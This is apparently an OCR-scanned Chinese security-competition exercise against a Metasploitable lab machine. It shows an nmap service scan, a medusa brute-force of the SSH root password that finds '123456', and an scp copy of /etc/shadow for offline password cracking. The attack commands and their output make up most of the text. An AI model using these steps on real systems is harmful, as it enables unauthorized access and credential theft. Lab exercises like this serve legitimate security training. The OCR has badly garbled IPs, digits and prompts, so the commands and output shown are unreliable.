信息安全比赛试题密码猜测.docVIP

使用namp攻击探测metasl机器的所能提供的服务 Discovered open port 8009/tcp on 9 Discovered open port 8180/tcp on 17Z.16.180.29 Completed SYN Stealth Scan at 18：10j 0.12s elapsed (1000 total ports) Nmap scan report f or 17Z.16.180 Host is up (0.0010s latency). Not shoun: 988 closed ports PORT STATE SERUICE ^1/tcp open f tp 2Z/tcp open ssh Z3/tcp open telnet 25/tcp open smtp 53/tcp open domain B0/tcp open http 139/tcp open iwt b ios-ssn *5/tcp open microsoft-ds 3306/tcp open mysq 1 open postgrwsq1 p009/tcp open a jpl3 H180/tcp open unknoun MAC Address： 52 ：54：00：AC：73：B9 (QEMU Uirtual NIC) Read data f i les from： /usr/share/nmap Mmap done: 1 IP address (1 host up) scanned in 0.18 seconds Raw packets sen1001 (44.042KB) ! Rcud： 1001 (40.090KB) [root@xc1ient Jtt 暴力破解ssh系统的root用户密码 [rootOxc1ient b in]tt ./medusa -h 17Z.16.180.53 -u root ?P passud.txt -M ssh ledusa vZ ? 1.? 1 [http ://HYPERLINK http://www.foofiis.riEt .foofiis.riEt] (C) JoMo-Kun / Foof us works jmkOf oi .net ACCOUNT CHECK： [ssh] Host： 17Z.16.180.53 (1 of 1, 0 compleUser： foot (1 i ,0 complete) Password: 123456 (1 of Z complete) ACCOUNT FOUND： [ssh] Host： 3 User： root Password： 1Z3456 [SUCCES： [rootOxc 1 ient b in 11* 通过ssh破解获得的root用户密码，获得metasl的系统的口令文件，并破解系统口令，并截屏 破解结果猜测ftp系统的某一用户名、密码，进行登录测试 [root(?xc 1 ient scp 17Z ? 16 ? 180.53 ：/etc/shadow . The authenticity of host 17Z . 16.180.53 (17Z ?16.180.53) can* t be 巳stablishe RSA key f ingerprint is 56：56：24：0f：21：Id：de：a?：2b：ae：61：bl：24：3d：e8：f3 ? Please t ype * yes* or * no* Please t ype * yes* or f no Please t ype ，yes* or no Please t ype ，yes or * no Please t ype * yes* or f no Please t ype ，yes* or no Please t ype ，yes or * no Please t ype * yes* or f no Please t ype ，yes^ or no Please t ype * yes* or * no Are you sure you uant to continue connecting (yes/no)? y Warning: Permanently added J17Z.16.180.53* (RSA) to thg 1 ist of knoun hosts? root(?172.16.180 ?53‘ s password : shadow 100Z 1180 l.ZKB/s 00:00 [root@xc1ient ~ [root(?xc 1 ient ^Jtt [rootPxc1ient Is anaconda-ks .c